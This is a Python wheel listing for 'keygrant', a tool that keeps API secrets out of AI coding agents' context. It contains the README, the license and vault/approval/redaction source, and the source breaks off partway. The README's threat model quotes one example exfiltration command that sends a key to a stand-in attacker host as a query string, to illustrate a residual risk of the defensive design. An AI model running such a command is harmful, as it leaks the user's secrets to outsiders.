keygrant 0.1.0__py3-none-any.whl

keygrant-0.1.0.dist-info/METADATA

@@ -0,0 +1,122 @@
+Metadata-Version: 2.4
+Name: keygrant
+Version: 0.1.0
+Summary: Per-command secret injection for AI coding agents — values never enter model context
+License: Apache-2.0
+Project-URL: Homepage, https://keygrant.app
+Project-URL: Repository, https://github.com/bazingaedward/keygrant
+Keywords: secrets,mcp,ai-agents,claude-code,security
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: MacOS
+Classifier: Programming Language :: Python :: 3
+Classifier: Topic :: Security
+Requires-Python: >=3.10
+Description-Content-Type: text/markdown
+License-File: LICENSE
+Dynamic: license-file
+
+# keygrant
+
+![demo: agent requests a secret, user approves via native dialog, output comes back redacted](docs/demo.gif)
+
+Per-command secret injection for AI coding agents. Secrets live in a local
+DPAPI-encrypted vault; the model's context only ever sees secret **names** —
+values are injected into the child process environment at exec time, and all
+output is redacted before it returns to the model.
+
+**Why:** anything placed in an LLM's context can be exfiltrated (prompt
+injection, logs, generated code). The fix is architectural: keys never enter
+context, only the execution environment.
+
+## Components
+
+- `keygrant.py` — vault + CLI
+  - `keygrant set NAME [--desc TEXT]` — store a secret (value via stdin, never argv)
+  - `keygrant list` / `rm NAME`
+  - `keygrant exec [--redact] NAMES -- CMD` — run CMD with secrets injected
+  - `keygrant revoke NAME|--all` — revoke active approval grants
+  - `keygrant init` — wire up a project (`.mcp.json` + `CLAUDE.md` guidance)
+- `keygrant_mcp.py` — MCP server (stdio JSON-RPC, zero deps)
+  - `list_secrets` — names/descriptions/usage only, never values
+  - `exec_with_secrets` — server-side exec with injection + forced output redaction
+  - deliberately **no** set/store tool: writing a value through the model would
+    put it in context; values enter out-of-band via the CLI only
+
+## Install
+
+```bash
+uv tool install keygrant     # or: pipx install keygrant
+```
+
+Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare `pip install`
+there fails; `uv` fetches a suitable Python automatically.
+
+Then, in each project where agents should use secrets:
+
+```bash
+keygrant init
+```
+
+`init` adds a `keygrant` entry to the project's `.mcp.json` (merging with any
+existing servers) and appends usage guidance for the model to `CLAUDE.md`,
+both idempotently. Restart Claude Code in that folder to load the server.
+
+## Threat model
+
+**What this protects against:**
+
+- *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a
+  secret that sits in model context. Values never enter context: the model only
+  handles names; decryption and injection happen in the executing process.
+- *Output leaks* — an agent echoing a secret back. All output returned to the
+  model is redacted, including base64, hex, and URL-encoded variants.
+- *Grant riding* — one agent session reusing an approval made in another.
+  Grants are bound to the requesting session (MCP server id / CLI parent
+  process) and expire after 15 minutes.
+- *Silent use* — every first use per session requires explicit user approval;
+  timeout means deny.
+
+**What this does NOT protect against (known residual risks):**
+
+- A compromised agent can request a command that exfiltrates the secret over
+  the network (`curl evil.com?k=%KEY%`). The approval dialog shows the full
+  command — reviewing it is the control. Per-secret egress allowlists (binding
+  a key to permitted destination hosts) are on the roadmap.
+- Redaction is a second line of defense, not a guarantee: novel encodings can
+  evade it. The primary guarantee remains "values never enter context".
+- Anything running as the same OS user can read the DPAPI vault. This tool
+  scopes *agent* access to secrets; it is not a defense against local malware.
+
+## Approval
+
+Every use of a secret — via the CLI or the MCP server — requires the user's
+approval through a native, topmost dialog (deny by default on a 60s timeout).
+Approving grants access to that secret for **15 minutes**, bound to the
+requesting session (tracked in `grants.json`); `keygrant revoke` withdraws a
+grant early. Both channels go through the same gate, so an agent cannot bypass
+MCP approval by shelling out to the CLI — and a grant approved for one session
+cannot be reused by another. The dialog will be replaced by a resident tray
+app with toast notifications; the grant semantics stay the same.
+
+## Storage
+
+- **Windows**: values DPAPI-encrypted (per-user) inside
+  `%APPDATA%\keygrant\vault.json`
+- **macOS**: values in the login Keychain (via the `security` CLI; the first
+  read triggers the OS Keychain permission prompt — an extra OS-level gate);
+  `~/.config/keygrant/vault.json` holds metadata only
+- **Linux**: values in the Secret Service keyring via `secret-tool`
+  (libsecret-tools + a running keyring daemon; approval dialogs need zenity);
+  the vault file holds metadata only
+
+The vault file also records usage metadata (use count, last used) as the seed
+of an audit trail.
+
+## Roadmap (prototype → product)
+
+1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
+2. Per-secret egress allowlists (bind a key to permitted destination hosts)
+3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)

keygrant-0.1.0.dist-info/RECORD

@@ -0,0 +1,8 @@
+keygrant.py,sha256=3vgUW2QldjTRAPg5iyE3s1piXuhBkvfhiTL7Bfwq32g,19249
+keygrant_mcp.py,sha256=Ox9VmGyz9-2FVjRencUian8VbYh8pHVm8ruLBttila8,7111
+keygrant-0.1.0.dist-info/licenses/LICENSE,sha256=z8d0m5b2O9McPEK1xHG_dWgUBT6EfBDz6wA0F7xSPTA,11358
+keygrant-0.1.0.dist-info/METADATA,sha256=d5EJ2WniwXSqKTGckWRF1iGMIb4dTbcCADed_1vbDGA,5487
+keygrant-0.1.0.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
+keygrant-0.1.0.dist-info/entry_points.txt,sha256=Q3LknGWEk89sn9p1vhwblAGpWqYsWHvctYai3uDxhKY,76
+keygrant-0.1.0.dist-info/top_level.txt,sha256=B7JOFunhCR5J10X53Gy0s6f_wD6xblq4QK3V2QlDz6Y,22
+keygrant-0.1.0.dist-info/RECORD,,

keygrant-0.1.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (84.0.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

keygrant-0.1.0.dist-info/entry_points.txt

@@ -0,0 +1,3 @@
+[console_scripts]
+keygrant = keygrant:main
+keygrant-mcp = keygrant_mcp:main

keygrant-0.1.0.dist-info/licenses/LICENSE

@@ -0,0 +1,202 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright [yyyy] [name of copyright owner]
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

keygrant-0.1.0.dist-info/top_level.txt

@@ -0,0 +1,2 @@
+keygrant
+keygrant_mcp

keygrant.py

@@ -0,0 +1,556 @@
+#!/usr/bin/env python3
+"""keygrant — per-command secret injection for AI coding agents (prototype).
+
+Secrets are stored in an OS-native keystore: DPAPI-encrypted values inside
+%APPDATA%\\keygrant\\vault.json on Windows; the login Keychain on macOS; the
+Secret Service keyring via secret-tool on Linux (the vault file then holds
+only metadata). The agent's model context only ever sees
+secret NAMES; values are decrypted at exec time and injected into the child
+process environment only.
+
+Commands:
+  keygrant set NAME [--desc TEXT]        read value from stdin, store encrypted
+  keygrant list                          list secret names + metadata (never values)
+  keygrant rm NAME                       delete a secret
+  keygrant exec [--redact] NAMES -- CMD  run CMD with NAMES (comma-separated)
+                                          injected as env vars; --redact captures
+                                          output and masks any plaintext leaks
+  keygrant revoke NAME|--all             revoke active approval grants
+  keygrant init                          wire up the current project: .mcp.json
+                                          entry + CLAUDE.md guidance for agents
+
+Using a secret requires user approval via a native dialog; approval grants
+access for 15 minutes (stored in grants.json, bound to the requesting
+session). Timeout = deny.
+"""
+
+import base64
+import json
+import os
+import subprocess
+import sys
+import time
+import urllib.parse
+import uuid
+from datetime import datetime, timezone
+
+IS_WIN = sys.platform == "win32"
+IS_MAC = sys.platform == "darwin"
+IS_LINUX = sys.platform.startswith("linux")
+
+if IS_WIN:
+    _config_root = os.environ["APPDATA"]
+else:
+    _config_root = os.environ.get("XDG_CONFIG_HOME") or os.path.join(
+        os.path.expanduser("~"), ".config")
+
+VAULT_DIR = os.path.join(_config_root, "keygrant")
+VAULT_PATH = os.path.join(VAULT_DIR, "vault.json")
+GRANTS_PATH = os.path.join(VAULT_DIR, "grants.json")
+GRANT_TTL_SECONDS = 15 * 60
+KEYCHAIN_SERVICE = "keygrant"
+
+
+# ---------- keystore backends ----------
+
+if IS_WIN:
+    import ctypes
+    import ctypes.wintypes as wt
+
+    class DATA_BLOB(ctypes.Structure):
+        _fields_ = [("cbData", wt.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))]
+
+    def _blob(data: bytes) -> DATA_BLOB:
+        buf = ctypes.create_string_buffer(data, len(data))
+        return DATA_BLOB(len(data), ctypes.cast(buf, ctypes.POINTER(ctypes.c_char)))
+
+    def _call_dpapi(func, data: bytes) -> bytes:
+        blob_in = _blob(data)
+        blob_out = DATA_BLOB()
+        # CRYPTPROTECT_UI_FORBIDDEN = 0x01: never pop legacy UI, fail instead
+        if not func(ctypes.byref(blob_in), None, None, None, None, 0x01,
+                    ctypes.byref(blob_out)):
+            raise OSError(f"{func.__name__} failed (wrong user or corrupted blob?)")
+        try:
+            return ctypes.string_at(blob_out.pbData, blob_out.cbData)
+        finally:
+            ctypes.windll.kernel32.LocalFree(blob_out.pbData)
+
+    def protect(data: bytes) -> bytes:
+        return _call_dpapi(ctypes.windll.crypt32.CryptProtectData, data)
+
+    def unprotect(data: bytes) -> bytes:
+        return _call_dpapi(ctypes.windll.crypt32.CryptUnprotectData, data)
+
+
+def _security_quote(value: str) -> str:
+    return '"' + value.replace("\\", "\\\\").replace('"', '\\"') + '"'
+
+
+def _keychain(command: str) -> subprocess.CompletedProcess:
+    """Run one command through `security -i` so secret values stay out of argv."""
+    return subprocess.run(
+        ["security", "-i"], input=command + "\n",
+        capture_output=True, text=True,
+    )
+
+
+def _secret_tool(args: list[str], **kwargs) -> subprocess.CompletedProcess:
+    try:
+        return subprocess.run(["secret-tool", *args],
+                              capture_output=True, text=True, **kwargs)
+    except FileNotFoundError:
+        raise OSError(
+            "secret-tool not found — install libsecret-tools (Debian/Ubuntu) "
+            "or libsecret (Fedora/Arch), and ensure a keyring daemon is running"
+        ) from None
+
+
+def encrypt_value(value: str) -> dict:
+    """Store a value in the platform keystore; return vault record fields."""
+    if IS_WIN:
+        return {"blob": base64.b64encode(protect(value.encode())).decode()}
+    if IS_MAC:
+        account = uuid.uuid4().hex
+        proc = _keychain(
+            f"add-generic-password -s {KEYCHAIN_SERVICE} -a {account} "
+            f"-w {_security_quote(value)} -U"
+        )
+        if proc.returncode != 0:
+            raise OSError(f"keychain add failed: {proc.stderr.strip()}")
+        return {"keychain": account}
+    if IS_LINUX:
+        account = uuid.uuid4().hex
+        # value travels via stdin, never argv
+        proc = _secret_tool(
+            ["store", f"--label=keygrant: {account}",
+             "service", KEYCHAIN_SERVICE, "account", account],
+            input=value,
+        )
+        if proc.returncode != 0:
+            raise OSError(f"secret-tool store failed: {proc.stderr.strip()}")
+        return {"secret_tool": account}
+    raise OSError(f"unsupported platform: {sys.platform}")
+
+
+def decrypt_value(record: dict) -> str:
+    if "blob" in record:
+        if not IS_WIN:
+            raise OSError("this secret was stored with Windows DPAPI")
+        return unprotect(base64.b64decode(record["blob"])).decode()
+    if "keychain" in record:
+        proc = subprocess.run(
+            ["security", "find-generic-password", "-s", KEYCHAIN_SERVICE,
+             "-a", record["keychain"], "-w"],
+            capture_output=True, text=True,
+        )
+        if proc.returncode != 0:
+            raise OSError(f"keychain read failed: {proc.stderr.strip()}")
+        return proc.stdout.rstrip("\n")
+    if "secret_tool" in record:
+        proc = _secret_tool(
+            ["lookup", "service", KEYCHAIN_SERVICE,
+             "account", record["secret_tool"]],
+        )
+        if proc.returncode != 0:
+            raise OSError(f"secret-tool lookup failed: {proc.stderr.strip()}")
+        return proc.stdout.rstrip("\n")
+    raise OSError("unknown vault record format")
+
+
+def delete_value(record: dict) -> None:
+    if "keychain" in record:
+        subprocess.run(
+            ["security", "delete-generic-password", "-s", KEYCHAIN_SERVICE,
+             "-a", record["keychain"]],
+            capture_output=True, text=True,
+        )
+    elif "secret_tool" in record:
+        _secret_tool(["clear", "service", KEYCHAIN_SERVICE,
+                      "account", record["secret_tool"]])
+
+
+# ---------- vault ----------
+
+VAULT_FORMAT_VERSION = 1
+
+
+def load_vault() -> dict:
+    """Return the name -> record mapping. Accepts the pre-versioning flat
+    format and migrates it transparently on the next save."""
+    if not os.path.exists(VAULT_PATH):
+        return {}
+    with open(VAULT_PATH, "r", encoding="utf-8") as f:
+        data = json.load(f)
+    if isinstance(data.get("version"), int):
+        return data.get("secrets", {})
+    return data  # legacy flat format
+
+
+def save_vault(vault: dict) -> None:
+    os.makedirs(VAULT_DIR, exist_ok=True)
+    tmp = VAULT_PATH + ".tmp"
+    with open(tmp, "w", encoding="utf-8") as f:
+        json.dump({"version": VAULT_FORMAT_VERSION, "secrets": vault}, f, indent=2)
+    os.replace(tmp, VAULT_PATH)
+
+
+# ---------- redaction ----------
+
+def _variants(name: str, value: str) -> list[tuple[str, str]]:
+    """Encodings of a secret value an agent might emit to evade plain matching."""
+    b64 = base64.b64encode(value.encode()).decode()
+    variants = [
+        (value, name),
+        (b64, f"{name}:base64"),
+        (b64.rstrip("="), f"{name}:base64"),
+        (value.encode().hex(), f"{name}:hex"),
+        (value.encode().hex().upper(), f"{name}:hex"),
+        (urllib.parse.quote(value, safe=""), f"{name}:urlencoded"),
+    ]
+    seen: set[str] = set()
+    out = []
+    for v, label in variants:
+        if v and v not in seen:
+            seen.add(v)
+            out.append((v, label))
+    return out
+
+
+def redact(text: str, secrets: dict[str, str]) -> str:
+    for name, value in secrets.items():
+        for variant, label in _variants(name, value):
+            text = text.replace(variant, f"[{label}:REDACTED]")
+    return text
+
+
+# ---------- approval ----------
+
+def current_requester() -> str:
+    """Identity a grant is bound to. The MCP server sets KEYGRANT_REQUESTER to
+    its per-session id; bare CLI calls fall back to their parent process id, so
+    a grant approved for one agent session cannot be reused by another."""
+    return os.environ.get("KEYGRANT_REQUESTER") or f"ppid:{os.getppid()}"
+
+
+def load_grants() -> dict:
+    try:
+        with open(GRANTS_PATH, "r", encoding="utf-8") as f:
+            grants = json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError):
+        return {}
+    now = time.time()
+    return {
+        name: g for name, g in grants.items()
+        if isinstance(g, dict) and g.get("exp", 0) > now
+    }
+
+
+def save_grants(grants: dict) -> None:
+    os.makedirs(VAULT_DIR, exist_ok=True)
+    tmp = GRANTS_PATH + ".tmp"
+    with open(tmp, "w", encoding="utf-8") as f:
+        json.dump(grants, f, indent=2)
+    os.replace(tmp, GRANTS_PATH)
+
+
+def _dialog_text(names: list[str], command: str) -> str:
+    preview = command if len(command) <= 200 else command[:200] + "…"
+    return (
+        "An AI agent requests access to secret(s):\n\n"
+        + "\n".join(f"    {n}" for n in names)
+        + f"\n\nCommand:\n    {preview}\n\n"
+        + f"Allow for {GRANT_TTL_SECONDS // 60} minutes?"
+    )
+
+
+def _approval_dialog_win(text: str, timeout_ms: int) -> bool:
+    MB_YESNO, MB_ICONWARNING = 0x4, 0x30
+    MB_SYSTEMMODAL, MB_SETFOREGROUND, MB_TOPMOST = 0x1000, 0x10000, 0x40000
+    IDYES = 6
+    fn = ctypes.windll.user32.MessageBoxTimeoutW
+    fn.argtypes = [wt.HWND, ctypes.c_wchar_p, ctypes.c_wchar_p,
+                   wt.UINT, wt.WORD, wt.DWORD]
+    fn.restype = ctypes.c_int
+    result = fn(
+        None, text, "keygrant — secret access request",
+        MB_YESNO | MB_ICONWARNING | MB_SYSTEMMODAL | MB_SETFOREGROUND | MB_TOPMOST,
+        0, timeout_ms,
+    )
+    return result == IDYES
+
+
+def _approval_dialog_mac(text: str, timeout_ms: int) -> bool:
+    timeout_s = max(1, timeout_ms // 1000)
+    body = json.dumps(text, ensure_ascii=False)
+    script = (
+        f"display dialog {body} with title \"keygrant\" "
+        f"buttons {{\"Deny\", \"Allow\"}} default button \"Deny\" "
+        f"cancel button \"Deny\" with icon caution giving up after {timeout_s}"
+    )
+    proc = subprocess.run(["osascript", "-e", script],
+                          capture_output=True, text=True)
+    return (
+        proc.returncode == 0
+        and "button returned:Allow" in proc.stdout
+        and "gave up:false" in proc.stdout
+    )
+
+
+def _approval_dialog_linux(text: str, timeout_ms: int) -> bool:
+    timeout_s = max(1, timeout_ms // 1000)
+    try:
+        proc = subprocess.run(
+            ["zenity", "--question", "--title=keygrant",
+             f"--text={text}", "--default-cancel",
+             f"--timeout={timeout_s}",
+             "--ok-label=Allow", "--cancel-label=Deny"],
+            capture_output=True, text=True,
+        )
+    except FileNotFoundError:
+        print("keygrant: zenity not found; denying by default "
+              "(install zenity for approval dialogs)", file=sys.stderr)
+        return False
+    return proc.returncode == 0  # 1 = deny, 5 = timeout
+
+
+def _approval_dialog(names: list[str], command: str, timeout_ms: int) -> bool:
+    """Native, topmost yes/no dialog. Timeout or No = deny."""
+    text = _dialog_text(names, command)
+    if IS_WIN:
+        return _approval_dialog_win(text, timeout_ms)
+    if IS_MAC:
+        return _approval_dialog_mac(text, timeout_ms)
+    if IS_LINUX:
+        return _approval_dialog_linux(text, timeout_ms)
+    return False  # no interactive channel on this platform: deny by default
+
+
+def request_approval(names: list[str], command: str) -> tuple[bool, str]:
+    """Return (allowed, denial_reason). Prompts for names not granted to the
+    current requester; grants made for other requesters do not carry over."""
+    requester = current_requester()
+    grants = load_grants()
+    pending = [
+        n for n in names
+        if not (n in grants and grants[n].get("req") == requester)
+    ]
+    if not pending:
+        return True, ""
+    timeout_ms = int(os.environ.get("KEYGRANT_APPROVAL_TIMEOUT_MS", "60000"))
+    if not _approval_dialog(pending, command, timeout_ms):
+        return False, (
+            f"user denied access to: {', '.join(pending)} "
+            "(approval dialog declined or timed out)"
+        )
+    grants = load_grants()
+    expiry = time.time() + GRANT_TTL_SECONDS
+    for name in pending:
+        grants[name] = {"exp": expiry, "req": requester}
+    save_grants(grants)
+    return True, ""
+
+
+# ---------- commands ----------
+
+def cmd_set(args: list[str]) -> int:
+    if not args:
+        print("usage: keygrant set NAME [--desc TEXT]", file=sys.stderr)
+        return 2
+    name = args[0]
+    desc = ""
+    if "--desc" in args:
+        desc = args[args.index("--desc") + 1]
+    value = sys.stdin.read().lstrip("").strip()
+    if not value:
+        print("error: empty value on stdin", file=sys.stderr)
+        return 1
+    vault = load_vault()
+    if name in vault:
+        delete_value(vault[name])
+    record = encrypt_value(value)
+    record.update({
+        "desc": desc,
+        "created": datetime.now(timezone.utc).isoformat(timespec="seconds"),
+        "last_used": None,
+        "use_count": 0,
+    })
+    vault[name] = record
+    save_vault(vault)
+    print(f"stored: {name}")
+    return 0
+
+
+def cmd_list(_args: list[str]) -> int:
+    vault = load_vault()
+    if not vault:
+        print("(vault empty)")
+        return 0
+    width = max(len(n) for n in vault)
+    for name, meta in sorted(vault.items()):
+        used = f"used {meta.get('use_count', 0)}x" if meta.get("use_count") else "never used"
+        desc = meta.get("desc") or "-"
+        print(f"{name:<{width}}  {used:<12}  {desc}")
+    return 0
+
+
+def cmd_rm(args: list[str]) -> int:
+    vault = load_vault()
+    if not args or args[0] not in vault:
+        print("error: no such secret", file=sys.stderr)
+        return 1
+    delete_value(vault[args[0]])
+    del vault[args[0]]
+    save_vault(vault)
+    print(f"removed: {args[0]}")
+    return 0
+
+
+def cmd_exec(args: list[str]) -> int:
+    redact_output = False
+    if args and args[0] == "--redact":
+        redact_output = True
+        args = args[1:]
+    if "--" not in args or args.index("--") == 0:
+        print("usage: keygrant exec [--redact] NAME[,NAME...] -- COMMAND [ARGS...]",
+              file=sys.stderr)
+        return 2
+    sep = args.index("--")
+    names = [n for n in args[0].split(",") if n]
+    command = args[sep + 1:]
+    if not command:
+        print("error: no command after --", file=sys.stderr)
+        return 2
+
+    vault = load_vault()
+    for name in names:
+        if name not in vault:
+            print(f"error: no such secret: {name}", file=sys.stderr)
+            return 1
+
+    allowed, reason = request_approval(names, subprocess.list2cmdline(command))
+    if not allowed:
+        print(f"denied: {reason}", file=sys.stderr)
+        return 3
+
+    secrets: dict[str, str] = {}
+    for name in names:
+        secrets[name] = decrypt_value(vault[name])
+
+    # audit trail: usage metadata, never values
+    now = datetime.now(timezone.utc).isoformat(timespec="seconds")
+    for name in names:
+        vault[name]["last_used"] = now
+        vault[name]["use_count"] = vault[name].get("use_count", 0) + 1
+    save_vault(vault)
+
+    env = os.environ.copy()
+    env.update(secrets)
+
+    if not redact_output:
+        proc = subprocess.run(command, env=env)
+        return proc.returncode
+
+    proc = subprocess.run(command, env=env, capture_output=True, text=True)
+    out = redact(proc.stdout, secrets)
+    err = redact(proc.stderr, secrets)
+    if out:
+        sys.stdout.write(out)
+    if err:
+        sys.stderr.write(err)
+    return proc.returncode
+
+
+def cmd_revoke(args: list[str]) -> int:
+    if not args:
+        print("usage: keygrant revoke NAME | --all", file=sys.stderr)
+        return 2
+    if args[0] == "--all":
+        save_grants({})
+        print("revoked: all grants")
+        return 0
+    grants = load_grants()
+    if args[0] not in grants:
+        print(f"no active grant for: {args[0]}")
+        return 0
+    del grants[args[0]]
+    save_grants(grants)
+    print(f"revoked: {args[0]}")
+    return 0
+
+
+CLAUDE_MD_MARKER = "<!-- keygrant-guidance -->"
+CLAUDE_MD_SNIPPET = f"""
+{CLAUDE_MD_MARKER}
+## Secrets (keygrant)
+
+API keys and other secrets are managed by keygrant and must NEVER appear in
+this conversation. Rules:
+
+- Never ask the user to paste a secret value; never echo, log, or hardcode one.
+- To see which secrets exist, use the `list_secrets` MCP tool.
+- To run a command that needs a secret, use the `exec_with_secrets` MCP tool
+  and reference the secret as an environment variable (e.g. `$STRIPE_KEY` /
+  `%STRIPE_KEY%`). The user approves each use via a native dialog.
+- If access is denied, do not retry; ask the user what they want to do.
+"""
+
+
+def cmd_init(_args: list[str]) -> int:
+    """Wire the current project up for Claude Code."""
+    # .mcp.json: merge, don't clobber other servers
+    mcp_path = os.path.join(os.getcwd(), ".mcp.json")
+    config = {}
+    if os.path.exists(mcp_path):
+        try:
+            with open(mcp_path, "r", encoding="utf-8") as f:
+                config = json.load(f)
+        except json.JSONDecodeError:
+            print(f"error: {mcp_path} exists but is not valid JSON", file=sys.stderr)
+            return 1
+    config.setdefault("mcpServers", {})["keygrant"] = {"command": "keygrant-mcp"}
+    with open(mcp_path, "w", encoding="utf-8") as f:
+        json.dump(config, f, indent=2)
+        f.write("\n")
+    print(f"wrote: {mcp_path} (server: keygrant-mcp)")
+
+    # CLAUDE.md: append guidance once
+    claude_md = os.path.join(os.getcwd(), "CLAUDE.md")
+    existing = ""
+    if os.path.exists(claude_md):
+        with open(claude_md, "r", encoding="utf-8") as f:
+            existing = f.read()
+    if CLAUDE_MD_MARKER in existing:
+        print(f"ok: {claude_md} already has keygrant guidance")
+    else:
